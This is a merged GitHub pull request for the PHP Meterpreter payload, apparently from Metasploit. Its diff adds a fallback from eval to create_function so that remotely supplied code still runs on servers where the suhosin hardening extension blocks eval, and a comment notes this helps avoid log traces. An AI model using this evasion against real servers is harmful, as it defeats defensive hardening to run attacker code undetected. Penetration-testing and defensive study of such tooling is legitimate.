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Add an alternative to eval to bypass suhosin #217

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merged 1 commit into from
Jul 18, 2017
Merged

Add an alternative to eval to bypass suhosin #217

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10 changes: 9 additions & 1 deletion php/meterpreter/meterpreter.php
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Original file line number Diff line number Diff line change
Expand Up @@ -413,7 +413,15 @@ function core_loadlib($req, &$pkt) {
return ERROR_FAILURE;
}
$tmp = $commands;
eval($data_tlv['value']);
# We might not be able to use `eval` here because of some hardening
# (for example, suhosin), so we walk around by using `create_function` instead,
# but since this function is deprecated since php 7.2+, we're not using it
# when we can avoid it, since it might leave some traces in the log files.
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
create_function('', $data_tlv['value'])();
} else {
eval($data_tlv['value']);
}
$new = array_diff($commands, $tmp);
foreach ($new as $meth) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
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